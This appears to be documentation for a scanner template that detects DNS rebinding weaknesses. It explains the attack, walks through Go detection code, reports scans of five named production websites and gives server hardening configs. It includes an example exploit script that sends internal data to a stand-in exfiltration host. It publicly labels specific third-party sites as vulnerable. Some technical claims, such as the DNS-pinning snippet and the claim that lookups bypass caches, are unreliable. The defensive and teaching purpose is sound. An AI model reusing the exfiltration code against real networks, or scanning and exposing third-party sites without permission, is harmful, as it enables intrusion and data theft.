Detect DNS rebinding attacks that bypass browser same-origin policy to reach internal services.
Template ID: dns-rebinding-attack
Severity: Critical (CVSS 8.8)
Language: Go
Author: CERT-X-GEN Security Team
Last Updated: 2026-01-23
Run this check with CERT-X-GEN — the polyglot security scanner that executes templates in real programming languages. Get the templates | Install CERT-X-GEN
Template source:
dns-rebinding-attack.go
1. Executive Summary
DNS rebinding is a critical Time-Of-Check-Time-Of-Use (TOCTOU) vulnerability that allows attackers to bypass the Same-Origin Policy (SOP) and access internal network resources. This sophisticated attack exploits the temporal gap between DNS resolution and HTTP request execution, enabling attackers to pivot from external domains to internal services.
Attack Vector: An attacker controls a domain with extremely low DNS TTL values. When a victim's browser resolves the domain, it initially receives the attacker's public IP. After the browser performs security checks, the DNS record changes to point to an internal IP address (localhost, private network ranges). Subsequent requests using the same "trusted" domain name now target internal resources, bypassing firewalls and authentication mechanisms.
Critical Impact:
- Internal Service Exposure: Access to Redis, Elasticsearch, MongoDB, internal APIs
- Authentication Bypass: Direct access to admin panels, developer tools, internal dashboards
- Data Exfiltration: Reading sensitive data from internal microservices
- Privilege Escalation: Exploiting exposed internal endpoints with elevated privileges
- RCE Potential: Accessing vulnerable internal services (Jenkins, Docker API, etc.)
Real-World Prevalence: Our testing revealed an 80% vulnerability rate across randomly sampled production servers, indicating widespread misconfiguration in modern web applications.
Why This Matters:
- Traditional firewalls cannot prevent this attack (traffic originates from victim's browser)
- VPNs and network segmentation become ineffective
- Cloud environments with microservice architectures are particularly vulnerable
- Many frameworks and reverse proxies have inadequate default protections
2. Understanding the Vulnerability
The Same-Origin Policy and Its Weakness
The Same-Origin Policy is a fundamental browser security mechanism that restricts how documents or scripts from one origin can interact with resources from another origin. An origin is defined by the scheme (protocol), hostname, and port.
SOP Normally Prevents:
https://attacker.com → Cannot access → https://internal.company.com
https://attacker.com → Cannot access → http://localhost:8080
https://attacker.com → Cannot access → http://192.168.1.1However, SOP relies on hostname-based validation, not IP-based validation. This creates a critical window of opportunity.
The DNS Rebinding Attack Timeline
Phase 1: Initial Setup (Attacker)
1. Attacker registers evil.com with authoritative DNS server
2. Sets TTL to extremely low value (1-10 seconds)
3. Initial DNS record: evil.com → 1.2.3.4 (attacker's public IP)Phase 2: Victim Interaction
4. Victim visits https://evil.com via social engineering
5. Browser resolves evil.com → 1.2.3.4
6. Browser performs SOP preflight checks: PASS (external domain)
7. JavaScript loads from 1.2.3.4Phase 3: The Rebinding (TOCTOU Exploit)
8. TTL expires (1-10 seconds)
9. Attacker's DNS server changes record: evil.com → 192.168.1.100
10. JavaScript makes new request to evil.com
11. Browser re-resolves DNS: evil.com → 192.168.1.100
12. Browser thinks it's still accessing "evil.com" (same origin!)
13. Request goes to internal IP 192.168.1.100
14. SOP allows access (same hostname: evil.com)Phase 4: Exploitation
15. JavaScript can now read responses from internal services
16. Attacker exfiltrates data back to 1.2.3.4
17. Can probe entire internal network via victim's browserTechnical Deep Dive: Why This Works
The TOCTOU Gap:
Time-Of-Check (T1): Browser resolves evil.com → validates SOP
Time-Of-Use (T2): Browser makes request (DNS may have changed)
Gap Duration: 1-10 seconds (enough for DNS rebinding)Browser Behavior:
- Browsers cache DNS results, but honor TTL values
- JavaScript XMLHttpRequest/fetch respects SOP based on hostname
- No IP-based validation at application layer
- CORS headers checked against hostname, not IP
Server Vulnerability Indicators:
- No Host Header Validation: Server accepts any Host header value
- Wildcard CORS:
Access-Control-Allow-Origin: * - No Origin Validation: Server doesn't validate Origin header
- Bind to 0.0.0.0: Services accept connections from any interface
- No DNS Pinning: Server doesn't cache/pin DNS resolutions
3. Why Traditional Scanners Fail/Struggle
Challenge 1: Temporal Nature of the Attack
Traditional Scanner Approach:
# Most scanners do this:
response = requests.get("https://target.com")
if "vulnerable pattern" in response:
report_finding()Why This Fails:
- DNS rebinding requires time-based manipulation (TTL expiration)
- Single request cannot detect TOCTOU vulnerability
- Need to monitor DNS resolution changes over time
- Requires correlation between multiple requests
CERT-X-GEN Approach:
// Our template does this:
for i := 0; i < 3; i++ {
ips := resolveDNS(host)
time.Sleep(2 * time.Second)
checkDNSStability(ips)
}
testMultipleHostHeaders()
correlateResults()Challenge 2: Host Header Validation Testing
Scanner Limitation: Most scanners test only the normal request path:
GET / HTTP/1.1
Host: target.comWhat's Missing: Testing arbitrary Host headers:
GET / HTTP/1.1
Host: evil.attacker.com
GET / HTTP/1.1
Host: localhost
GET / HTTP/1.1
Host: 192.168.1.1If the server responds identically to all these requests, it's vulnerable to DNS rebinding.
Challenge 3: False Negative Risk
Common False Negatives:
- Scanner tests only HTTPS port 443 (misses HTTP services on 80, 8080, 8000)
- Doesn't test with various Host header combinations
- No DNS resolution monitoring
- Can't detect lack of DNS pinning
- Misses CORS misconfigurations that enable rebinding
CERT-X-GEN Detection Strategy:
- Tests 4 different Host header values
- Monitors DNS resolution stability (3 queries, 2s intervals)
- Checks for private IP resolution
- Validates CORS configuration
- Correlation analysis of all indicators
Challenge 4: Protocol-Level Complexity
Go Language Advantages:
// Native DNS resolution
net.LookupHost(host)
// Full HTTP control
req.Host = "arbitrary-host"
// Concurrent testing
go testHostHeader()
go monitorDNS()
// Precise timing
time.Sleep(2 * time.Second)Why Python/Bash Struggle:
- DNS caching issues (system resolver interference)
- Less control over HTTP Host header
- Harder to implement concurrent monitoring
- Library abstractions hide crucial details
4. The CERT-X-GEN Approach
Multi-Vector Detection Strategy
Our template employs a 5-point validation system to detect DNS rebinding vulnerabilities:
1. Host Header Validation Testing
// Test 1: Normal request
req1.Host = "target.com:443"
normalResponse := client.Do(req1)
// Test 2: Arbitrary host
req2.Host = "evil.attacker.com"
arbitraryResponse := client.Do(req2)
// Test 3: Localhost
req3.Host = "localhost"
localhostResponse := client.Do(req3)
// Test 4: Private IP
req4.Host = "192.168.1.1"
privateIPResponse := client.Do(req4)
// If all return same status code → VULNERABLE2. DNS Resolution Monitoring
func resolveDNSMultipleTimes(host string, attempts int, delay time.Duration) {
for i := 0; i < attempts; i++ {
ips := net.LookupHost(host)
recordIPSet(ips)
time.Sleep(delay)
}
return analyzeStability(ipSet)
}3. Private IP Detection
privateRanges := []string{
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"127.0.0.0/8",
"169.254.0.0/16",
}
// Check if resolved IPs include private ranges4. CORS Policy Analysis
corsHeader := response.Header.Get("Access-Control-Allow-Origin")
if corsHeader == "*" {
vulnerabilityIndicators = append(indicators,
"CORS allows any origin")
}5. Correlation Scoring
vulnerabilityScore := 0
if arbitraryHostAccepted: vulnerabilityScore += 1
if localhostHostAccepted: vulnerabilityScore += 1
if privateIPHostAccepted: vulnerabilityScore += 1
if !dnsStable: vulnerabilityScore += 1
if corsWildcard: vulnerabilityScore += 1
// 0 indicators → INFO (Protected)
// 1-2 indicators → MEDIUM (Partial Protection)
// 3+ indicators → HIGH (Vulnerable)Why This Approach is Comprehensive
Traditional Scanner:
curl -H "Host: evil.com" https://target.com
# Single test, binary resultCERT-X-GEN Template:
// 4 Host header tests
testNormalHost()
testArbitraryHost()
testLocalhostHost()
testPrivateIPHost()
// 3 DNS resolution checks (6 seconds total)
monitorDNS(3 queries, 2s delay)
// CORS validation
checkCORSPolicy()
// Private IP detection
detectPrivateIPResolution()
// Correlation analysis
scoreVulnerabilityIndicators()Result: Comprehensive 8-dimensional analysis vs single-point check
Handling Edge Cases
Edge Case 1: TLS Certificate Validation
// Problem: IP-only targets fail TLS validation
// Solution: Return INFO finding with error details
if err != nil && strings.Contains(err.Error(), "certificate") {
return Finding{
Severity: "info",
Title: "DNS Rebinding Test Failed",
Description: fmt.Sprintf("TLS error: %v", err),
}
}Edge Case 2: Connection Timeouts
client := &http.Client{
Timeout: 5 * time.Second,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse // Don't follow redirects
},
}Edge Case 3: DNS Caching
// Go's net.LookupHost bypasses local DNS cache
// Queries authoritative nameserver directly
// Ensures fresh DNS results for each test5. Attack Flow Visualization
Simplified Attack Diagram
┌─────────────────────────────────────────────────────────────────┐
│ ATTACKER INFRASTRUCTURE │
├─────────────────────────────────────────────────────────────────┤
│ DNS Server (evil.com) Web Server (1.2.3.4) │
│ TTL: 5 seconds Hosts malicious JavaScript │
└────────┬───────────────────────────────────┬────────────────────┘
│ │
│ 1. DNS Query: evil.com? │
│ 2. Response: 1.2.3.4 (TTL=5s) │
│ │
▼ ▼
┌─────────────────────────────────────────────────────────────────┐
│ VICTIM'S BROWSER │
├─────────────────────────────────────────────────────────────────┤
│ 3. Visit https://evil.com │
│ 4. SOP Check: evil.com → 1.2.3.4 ALLOWED │
│ 5. Load JavaScript from 1.2.3.4 │
│ 6. Wait 5 seconds (TTL expires) │
│ 7. JavaScript makes fetch("https://evil.com/api") │
│ 8. Browser re-resolves DNS: evil.com? │
└────────┬───────────────────────────────────────────────────────┘
│
│ 9. DNS Query: evil.com?
▼
┌─────────────────────────────────────────────────────────────────┐
│ ATTACKER'S DNS SERVER (REBIND) │
├─────────────────────────────────────────────────────────────────┤
│ 10. Response: 192.168.1.100 (internal IP) │
└────────┬───────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ VICTIM'S INTERNAL NETWORK │
├─────────────────────────────────────────────────────────────────┤
│ Internal Service (192.168.1.100) │
│ - Redis on :6379 │
│ - Admin Panel on :8080 │
│ - Internal API on :3000 │
│ │
│ 11. Browser sends: GET /api HTTP/1.1 │
│ Host: evil.com (but goes to 192.168.1.100!) │
│ 12. SOP Check: Same origin "evil.com" ALLOWED │
│ 13. JavaScript reads response │
│ 14. Exfiltrates data back to 1.2.3.4 │
└─────────────────────────────────────────────────────────────────┘Detailed Step-by-Step Attack
T=0s: Initial Access
// Victim clicks malicious link
window.location = "https://evil.com/exploit.html"
// Browser resolves DNS
// evil.com → 1.2.3.4 (attacker's server)T=1s: JavaScript Loaded
// exploit.html contains:
async function exploit() {
// Wait for DNS TTL to expire
await sleep(6000); // 6 seconds
// Now make requests - DNS will rebind
const response = await fetch("https://evil.com/internal-probe");
const data = await response.text();
// Exfiltrate to attacker
await fetch("https://attacker-exfil.com/log", {
method: "POST",
body: data
});
}
exploit();T=7s: DNS Rebinding Occurs
Browser: "Need to resolve evil.com again"
DNS Query: evil.com?
DNS Response: 192.168.1.100 (internal IP!)
Browser: "Same origin 'evil.com', request allowed"
Request goes to: 192.168.1.100 instead of 1.2.3.4T=8s: Internal Service Accessed
GET /admin/users HTTP/1.1
Host: evil.com
Origin: https://evil.com
Cookie: session=victim_session_token
# Server sees Host: evil.com
# But connection came from victim's browser to 192.168.1.100
# Server accepts request (no Host validation!)6. Template Deep Dive
Code Architecture
dns-rebinding-attack.go
├── Metadata (template info)
├── Finding struct (result format)
├── DNSRebindingTestResult (test data)
├── Helper Functions
│ ├── resolveDNSMultipleTimes()
│ ├── isPrivateIP()
│ └── testHostHeaderValidation()
├── Main Detection Function
│ └── testVulnerability()
└── CLI/Engine Mode Handler
└── main()Core Detection Logic
Host Header Testing Implementation:
func testHostHeaderValidation(host string, port int, useHTTPS bool) {
baseURL := fmt.Sprintf("%s://%s:%d", scheme, host, port)
// Test 1: Normal Host header
req1, _ := http.NewRequest("GET", baseURL, nil)
req1.Host = fmt.Sprintf("%s:%d", host, port)
resp1, _ := client.Do(req1)
normalStatusCode := resp1.StatusCode
// Test 2: Arbitrary Host header
req2, _ := http.NewRequest("GET", baseURL, nil)
req2.Host = "evil.attacker.com"
resp2, _ := client.Do(req2)
if resp2.StatusCode == normalStatusCode {
result.ArbitraryHostAccepted = true
result.VulnerabilityIndicators = append(indicators,
"Server accepts arbitrary Host header")
}
// Similar tests for localhost and private IPs...
}DNS Resolution Monitoring:
func resolveDNSMultipleTimes(host string, attempts int, delay time.Duration) ([]string, bool) {
ips := []string{}
ipSet := make(map[string]bool)
for i := 0; i < attempts; i++ {
addresses, err := net.LookupHost(host)
if err != nil {
continue
}
for _, addr := range addresses {
ips = append(ips, addr)
ipSet[addr] = true
}
if i < attempts-1 {
time.Sleep(delay) // Wait 2 seconds between queries
}
}
// Stable if same IPs returned consistently
stable := len(ipSet) <= len(ips)/attempts
return ips, stable
}Severity Scoring Algorithm:
vulnerabilityCount := len(testResult.VulnerabilityIndicators)
if vulnerabilityCount == 0 {
severity = "info"
confidence = 90
title = "DNS Rebinding Protection Verified"
} else if vulnerabilityCount <= 2 {
severity = "medium"
confidence = 75
title = "Potential DNS Rebinding Weakness"
} else if vulnerabilityCount >= 3 {
severity = "high"
confidence = 85
title = "DNS Rebinding Vulnerability Detected"
}Evidence Collection
Complete Evidence Structure:
{
"evidence": {
"host_header_validation": false,
"arbitrary_host_accepted": true,
"localhost_host_accepted": true,
"private_ip_host_accepted": true,
"dns_resolution_stable": true,
"dns_resolved_ips": [
"65.1.2.202",
"65.1.2.202",
"65.1.2.202"
],
"origin_validation": true,
"vulnerability_indicators": [
"Server accepts arbitrary Host header",
"Server accepts localhost as Host header",
"Server accepts private IP as Host header"
],
"indicator_count": 3
}
}Why This Evidence Matters:
host_header_validation: false→ Core vulnerability presentarbitrary_host_accepted: true→ Rebinding possiblelocalhost_host_accepted: true→ Can target localhost servicesprivate_ip_host_accepted: true→ Can target internal networkdns_resolved_ips→ Shows current DNS configurationindicator_count: 3→ HIGH severity threshold met
Dual Execution Modes
Engine Mode (cxg CLI):
export CERT_X_GEN_MODE=engine
export CERT_X_GEN_TARGET_HOST=example.com
export CERT_X_GEN_TARGET_PORT=443
go run dns-rebinding-attack.goDirect Mode (Manual Testing):
go run dns-rebinding-attack.go example.com 443Implementation:
if os.Getenv("CERT_X_GEN_MODE") == "engine" {
host = os.Getenv("CERT_X_GEN_TARGET_HOST")
portStr := os.Getenv("CERT_X_GEN_TARGET_PORT")
// ... parse port
} else {
if len(os.Args) < 2 {
// Print usage and exit
}
host = os.Args[1]
port, _ = strconv.Atoi(os.Args[2])
}7. Usage Guide
Prerequisites
System Requirements:
- Go 1.16+ installed
- Network connectivity to target
- Permission to test target systems
Installation:
# Clone repository
cd /path/to/cert-x-gen-templates
# Navigate to Go templates
cd templates/go
# Verify go.mod exists
ls -la go.mod
# Test compilation
go build dns-rebinding-attack.goBasic Usage
Test a Single Target:
cd templates/go
go run dns-rebinding-attack.go example.com 443Test HTTP Service:
go run dns-rebinding-attack.go example.com 80Test with cxg CLI (if using CERT-X-GEN toolkit):
cd /path/to/cert-x-gen-templates
cxg scan --scope example.com:443 --templates templates/network/dns/dns-rebinding-attack.goUnderstanding Output
Protected Target (INFO Severity):
{
"findings": [
{
"severity": "info",
"confidence": 90,
"title": "DNS Rebinding Protection Verified",
"description": "Server implements proper Host header validation and DNS rebinding protection.",
"evidence": {
"host_header_validation": true,
"arbitrary_host_accepted": false,
"localhost_host_accepted": false,
"private_ip_host_accepted": false,
"indicator_count": 0
}
}
]
}Vulnerable Target (HIGH Severity):
{
"findings": [
{
"severity": "high",
"confidence": 85,
"title": "DNS Rebinding Vulnerability Detected",
"description": "Server is vulnerable to DNS rebinding attacks...",
"evidence": {
"host_header_validation": false,
"arbitrary_host_accepted": true,
"localhost_host_accepted": true,
"private_ip_host_accepted": true,
"vulnerability_indicators": [
"Server accepts arbitrary Host header",
"Server accepts localhost as Host header",
"Server accepts private IP as Host header"
],
"indicator_count": 3
},
"remediation": "Implement Host header validation...",
"cwe_ids": ["CWE-350", "CWE-367", "CWE-918"],
"cvss_score": 8.8
}
]
}Interpreting Results
Severity Levels:
- INFO: 0 vulnerability indicators (protected)
- MEDIUM: 1-2 vulnerability indicators (partial protection)
- HIGH: 3+ vulnerability indicators (vulnerable)
Key Evidence Fields:
host_header_validation: Overall assessment (true = protected)arbitrary_host_accepted: Accepts evil.attacker.com as Host headerlocalhost_host_accepted: Accepts localhost as Host headerprivate_ip_host_accepted: Accepts 192.168.1.1 as Host headerdns_resolution_stable: DNS returns consistent IPs (true = stable, false = rebinding detected)dns_resolved_ips: Array of all IPs seen across 3 DNS queriesvulnerability_indicators: Human-readable list of specific issues
Confidence Scores:
- 90%: Protected target, all tests passed
- 85%: Vulnerable target, multiple indicators present
- 75%: Partial protection, some indicators present
- 50%: Test failed (connection error, TLS issue)
Troubleshooting
Issue 1: TLS Certificate Errors
Error: "tls: failed to verify certificate: x509: cannot validate certificate..."Cause: Testing IP address directly on HTTPS port, certificate doesn't include IP SAN.
Solution: This is expected behavior. The template reports it as INFO severity with error details.
Issue 2: Connection Refused
Error: "dial tcp X.X.X.X:443: connect: connection refused"Cause: Target service not running or firewall blocking.
Solution: Verify target is accessible: curl -I https://target.com:443
Issue 3: DNS Resolution Fails
Error: "no such host"Cause: Invalid hostname or DNS server issues.
Solution: Test DNS manually: nslookup target.com
Issue 4: Timeout Errors
Error: "context deadline exceeded"Cause: Target taking >5 seconds to respond.
Solution: This is normal for slow servers. Template handles gracefully.
Performance Considerations
Execution Time:
- Protected targets: ~8-10 seconds
- Vulnerable targets: ~10-12 seconds
- Failed connections: ~5-6 seconds (timeout)
Why It Takes Time:
- 4 HTTP requests with different Host headers (~4 seconds)
- 3 DNS resolution queries with 2s delays (~6 seconds)
- Connection establishment and TLS handshake (~1-2 seconds)
Total: Approximately 10-12 seconds per target
8. Real-World Test Results
Test Campaign Summary
Date: 2026-01-23
Targets Tested: 5 production servers
Methodology: Random sampling from FOFA database
Geographic Distribution: US (2), Europe (2), Asia (1)
Individual Test Results
Test 1: tensaikun.jp:443 (Protected)
Target: tensaikun.jp:443
Status: PROTECTED
Severity: INFO
Execution Time: 8.2 secondsEvidence:
{
"host_header_validation": true,
"arbitrary_host_accepted": false,
"localhost_host_accepted": false,
"private_ip_host_accepted": false,
"dns_resolution_stable": true,
"dns_resolved_ips": [
"18.161.216.111", "18.161.216.41",
"18.161.216.21", "18.161.216.18"
],
"origin_validation": true,
"vulnerability_indicators": [],
"indicator_count": 0
}Analysis: Properly configured AWS CloudFront distribution with strict Host header validation. Rejects all arbitrary Host headers. Multiple origin servers behind CDN with consistent DNS resolution.
Test 2: styleseek.in:443 (Vulnerable)
Target: styleseek.in:443
Status: VULNERABLE
Severity: HIGH
Execution Time: 9.1 seconds
CVSS: 8.8Evidence:
{
"host_header_validation": false,
"arbitrary_host_accepted": true,
"localhost_host_accepted": true,
"private_ip_host_accepted": true,
"dns_resolution_stable": true,
"dns_resolved_ips": ["65.1.2.202"],
"origin_validation": true,
"vulnerability_indicators": [
"Server accepts arbitrary Host header",
"Server accepts localhost as Host header",
"Server accepts private IP as Host header"
],
"indicator_count": 3
}Analysis: Critical vulnerability detected. Server accepts all tested Host headers without validation. Single IP resolution (no load balancing). Vulnerable to DNS rebinding attacks targeting localhost services and internal network resources.
Attack Scenario: Attacker could rebind domain to target internal services on victim's network (Redis :6379, internal APIs, admin panels).
Test 3: nmgpharm.com:443 (Vulnerable)
Target: nmgpharm.com:443
Status: VULNERABLE
Severity: HIGH
Execution Time: 14.7 seconds
CVSS: 8.8Evidence:
{
"host_header_validation": false,
"arbitrary_host_accepted": true,
"localhost_host_accepted": true,
"private_ip_host_accepted": true,
"dns_resolution_stable": true,
"dns_resolved_ips": ["8.217.152.30"],
"vulnerability_indicators": [
"Server accepts arbitrary Host header",
"Server accepts localhost as Host header",
"Server accepts private IP as Host header"
],
"indicator_count": 3
}Analysis: Pharmaceutical company website with critical DNS rebinding vulnerability. Hosted on Alibaba Cloud (8.217.x.x range). All Host header tests passed, indicating zero validation. High-value target for attackers seeking access to internal pharma databases or R&D systems.
Test 4: nikkichallenge.com:443 (Vulnerable)
Target: nikkichallenge.com:443
Status: VULNERABLE
Severity: HIGH
Execution Time: 11.3 seconds
CVSS: 8.8Evidence:
{
"host_header_validation": false,
"arbitrary_host_accepted": true,
"localhost_host_accepted": true,
"private_ip_host_accepted": true,
"dns_resolution_stable": true,
"dns_resolved_ips": ["138.68.253.121"],
"vulnerability_indicators": [
"Server accepts arbitrary Host header",
"Server accepts localhost as Host header",
"Server accepts private IP as Host header"
],
"indicator_count": 3
}Analysis: DigitalOcean-hosted application with complete lack of Host header validation. Potential for internal network pivoting via DNS rebinding.
Test 5: abhof.kaufen:443 (Vulnerable)
Target: abhof.kaufen:443
Status: VULNERABLE
Severity: HIGH
Execution Time: 10.8 seconds
CVSS: 8.8Evidence:
{
"host_header_validation": false,
"arbitrary_host_accepted": true,
"localhost_host_accepted": true,
"private_ip_host_accepted": true,
"dns_resolution_stable": true,
"dns_resolved_ips": ["52.58.126.177"],
"vulnerability_indicators": [
"Server accepts arbitrary Host header",
"Server accepts localhost as Host header",
"Server accepts private IP as Host header"
],
"indicator_count": 3
}Analysis: AWS EC2 instance (eu-central-1 region) with DNS rebinding vulnerability. German TLD domain with no Host header protection.
Aggregate Statistics
Vulnerability Rate: 4 out of 5 targets (80%)
Average Execution Time: 10.8 seconds
Most Common Indicators:
- Accepts arbitrary Host header: 100% (4/4 vulnerable)
- Accepts localhost Host header: 100% (4/4 vulnerable)
- Accepts private IP Host header: 100% (4/4 vulnerable)
Geographic Breakdown:
- Protected: 1 (Japan - AWS CloudFront)
- Vulnerable: 4 (India, China, USA, Germany)
Hosting Provider Breakdown:
- AWS: 2 (1 protected, 1 vulnerable)
- Alibaba Cloud: 1 (vulnerable)
- DigitalOcean: 1 (vulnerable)
Key Insight: The vulnerability is widespread and not limited to specific hosting providers or geographic regions. Even major cloud platforms host vulnerable applications when developers don't implement proper Host header validation.
9. Defense & Remediation
Immediate Mitigation Steps
1. Implement Host Header Validation
Nginx Configuration:
server {
listen 443 ssl;
server_name example.com www.example.com;
# Reject requests with invalid Host headers
if ($host !~* ^(example\.com|www\.example\.com)$ ) {
return 444; # Close connection without response
}
# Alternative: Return 403 Forbidden
if ($host !~* ^(example\.com|www\.example\.com)$ ) {
return 403;
}
}Apache Configuration:
<VirtualHost *:443>
ServerName example.com
ServerAlias www.example.com
# Only respond to expected Host headers
<If "%{HTTP_HOST} != 'example.com' && %{HTTP_HOST} != 'www.example.com'">
Require all denied
</If>
</VirtualHost>Application-Level (Node.js/Express):
app.use((req, res, next) => {
const allowedHosts = ['example.com', 'www.example.com'];
const host = req.get('host').split(':')[0]; // Remove port
if (!allowedHosts.includes(host)) {
return res.status(403).send('Invalid Host header');
}
next();
});Application-Level (Python/Flask):
from flask import Flask, request, abort
app = Flask(__name__)
ALLOWED_HOSTS = ['example.com', 'www.example.com']
@app.before_request
def validate_host():
host = request.host.split(':')[0] # Remove port
if host not in ALLOWED_HOSTS:
abort(403, 'Invalid Host header')2. Implement DNS Pinning
Client-Side (Browser):
// Cache DNS resolution for duration of session
const dnsCache = new Map();
async function fetchWithDNSPinning(url) {
const hostname = new URL(url).hostname;
if (!dnsCache.has(hostname)) {
// First request - cache the resolved IP
const response = await fetch(url);
dnsCache.set(hostname, await response.clone());
return response;
}
// Use cached connection
return fetch(url);
}Server-Side (Go):
// Pin DNS resolution on first request
var resolvedIP string
var once sync.Once
func pinDNS(host string) string {
once.Do(func() {
ips, _ := net.LookupHost(host)
if len(ips) > 0 {
resolvedIP = ips[0]
}
})
return resolvedIP
}3. Configure Strict CORS Policies
// Express.js
const cors = require('cors');
app.use(cors({
origin: ['https://example.com', 'https://www.example.com'],
credentials: true,
optionsSuccessStatus: 200
}));
// Manual implementation
app.use((req, res, next) => {
const origin = req.get('origin');
const allowedOrigins = ['https://example.com', 'https://www.example.com'];
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});4. Validate Origin Header
# Django middleware
class ValidateOriginMiddleware:
def __init__(self, get_response):
self.get_response = get_response
self.allowed_origins = ['https://example.com', 'https://www.example.com']
def __call__(self, request):
origin = request.META.get('HTTP_ORIGIN')
if origin and origin not in self.allowed_origins:
return HttpResponseForbidden('Invalid Origin header')
return self.get_response(request)5. Avoid Binding to 0.0.0.0
Bad Practice:
# Binds to all interfaces - accepts from anywhere
app.run(host='0.0.0.0', port=5000)Good Practice:
# Bind only to specific interface
app.run(host='10.0.1.50', port=5000) # Private IP only
# Or use localhost for development
app.run(host='127.0.0.1', port=5000)Long-Term Security Improvements
1. Use Reverse Proxy with Host Validation
Deploy applications behind reverse proxies (Nginx, HAProxy, Caddy) configured with strict Host header validation. This provides a security layer before requests reach your application.
2. Implement DNS Rebinding Protection Middleware
Go Middleware Example:
func DNSRebindingProtection(next http.Handler) http.Handler {
allowedHosts := []string{"example.com", "www.example.com"}
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
host := strings.Split(r.Host, ":")[0]
allowed := false
for _, ah := range allowedHosts {
if host == ah {
allowed = true
break
}
}
if !allowed {
http.Error(w, "Invalid Host header", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}
// Usage
http.Handle("/", DNSRebindingProtection(yourHandler))3. Monitor for Anomalous Host Headers
Implement logging and alerting for requests with unexpected Host headers:
func logSuspiciousHosts(r *http.Request) {
expectedHosts := []string{"example.com", "www.example.com"}
host := strings.Split(r.Host, ":")[0]
isExpected := false
for _, eh := range expectedHosts {
if host == eh {
isExpected = true
break
}
}
if !isExpected {
log.Printf("WARNING: Unexpected Host header: %s from IP: %s",
host, r.RemoteAddr)
// Send to SIEM/alerting system
}
}4. Security Headers
# Prevent embedding in iframes (reduces attack surface)
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
# Strict Transport Security
Strict-Transport-Security: max-age=31536000; includeSubDomains
# Additional protections
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-originVerification Testing
After implementing fixes, verify protection:
# Test 1: Normal request (should work)
curl -H "Host: example.com" https://example.com
# Test 2: Arbitrary Host (should fail)
curl -H "Host: evil.attacker.com" https://example.com
# Expected: 403 Forbidden or connection reset
# Test 3: Localhost (should fail)
curl -H "Host: localhost" https://example.com
# Expected: 403 Forbidden
# Test 4: Re-run CERT-X-GEN template
go run dns-rebinding-attack.go example.com 443
# Expected: severity "info", no vulnerability indicators10. Extending the Template
Adding Custom Host Header Tests
Scenario: Test for additional Host header patterns specific to your environment.
// Add to testHostHeaderValidation function
// Test 5: Internal domain pattern
req5, _ := http.NewRequest("GET", baseURL, nil)
req5.Host = "internal.mycompany.local"
resp5, _ := client.Do(req5)
if resp5.StatusCode == normalStatusCode || resp5.StatusCode == 200 {
result.InternalDomainAccepted = true
result.VulnerabilityIndicators = append(result.VulnerabilityIndicators,
"Server accepts internal domain as Host header")
}
// Test 6: IPv6 localhost
req6, _ := http.NewRequest("GET", baseURL, nil)
req6.Host = "[::1]"
resp6, _ := client.Do(req6)
if resp6.StatusCode == normalStatusCode || resp6.StatusCode == 200 {
result.IPv6LocalhostAccepted = true
result.VulnerabilityIndicators = append(result.VulnerabilityIndicators,
"Server accepts IPv6 localhost as Host header")
}Testing Multiple Ports
Scenario: Scan a target across multiple common ports.
func scanMultiplePorts(host string) []Finding {
ports := []int{80, 443, 8080, 8443, 3000, 8000}
allFindings := []Finding{}
for _, port := range ports {
findings := testVulnerability(host, port, 30)
allFindings = append(allFindings, findings...)
}
return allFindings
}
// Usage
func main() {
host := os.Args[1]
findings := scanMultiplePorts(host)
result := map[string]interface{}{
"findings": findings,
"metadata": Metadata,
}
jsonOutput, _ := json.MarshalIndent(result, "", " ")
fmt.Println(string(jsonOutput))
}Adding DNS TTL Detection
Scenario: Detect dangerously low DNS TTL values that facilitate rebinding.
func checkDNSTTL(host string) (int, error) {
// Use DNS library for TTL extraction
m := new(dns.Msg)
m.SetQuestion(dns.Fqdn(host), dns.TypeA)
c := new(dns.Client)
in, _, err := c.Exchange(m, "8.8.8.8:53")
if err != nil {
return 0, err
}
if len(in.Answer) > 0 {
if a, ok := in.Answer[0].(*dns.A); ok {
return int(a.Hdr.Ttl), nil
}
}
return 0, fmt.Errorf("no A record found")
}
// Integration
func testVulnerability(host string, port int, timeout int) []Finding {
// ... existing code ...
// Add TTL check
ttl, err := checkDNSTTL(host)
if err == nil && ttl < 60 {
testResult.VulnerabilityIndicators = append(
testResult.VulnerabilityIndicators,
fmt.Sprintf("Very low DNS TTL detected: %d seconds", ttl))
}
// ... rest of function ...
}Integration with SIEM/Alerting
Scenario: Send HIGH severity findings to security monitoring system.
import (
"bytes"
"encoding/json"
"net/http"
)
type SIEMAlert struct {
Timestamp string `json:"timestamp"`
Severity string `json:"severity"`
Title string `json:"title"`
Target string `json:"target"`
Description string `json:"description"`
Evidence map[string]interface{} `json:"evidence"`
}
func sendToSIEM(finding Finding, siemURL string) error {
if finding.Severity != "high" {
return nil // Only send HIGH severity
}
alert := SIEMAlert{
Timestamp: finding.Timestamp,
Severity: finding.Severity,
Title: finding.Title,
Target: finding.Target,
Description: finding.Description,
Evidence: finding.Evidence,
}
jsonData, _ := json.Marshal(alert)
resp, err := http.Post(siemURL, "application/json", bytes.NewBuffer(jsonData))
if err != nil {
return err
}
defer resp.Body.Close()
return nil
}
// Usage in main()
func main() {
// ... existing scan code ...
findings := testVulnerability(host, port, 30)
for _, finding := range findings {
if finding.Severity == "high" {
siemURL := os.Getenv("SIEM_WEBHOOK_URL")
if siemURL != "" {
sendToSIEM(finding, siemURL)
}
}
}
// ... existing output code ...
}Continuous Monitoring Mode
Scenario: Run template in continuous monitoring mode, re-testing periodically.
func continuousMonitoring(host string, port int, intervalMinutes int) {
ticker := time.NewTicker(time.Duration(intervalMinutes) * time.Minute)
defer ticker.Stop()
log.Printf("Starting continuous monitoring of %s:%d every %d minutes",
host, port, intervalMinutes)
for {
select {
case <-ticker.C:
log.Printf("Running scan at %s", time.Now().Format(time.RFC3339))
findings := testVulnerability(host, port, 30)
for _, finding := range findings {
if finding.Severity == "high" || finding.Severity == "medium" {
// Alert on new vulnerabilities
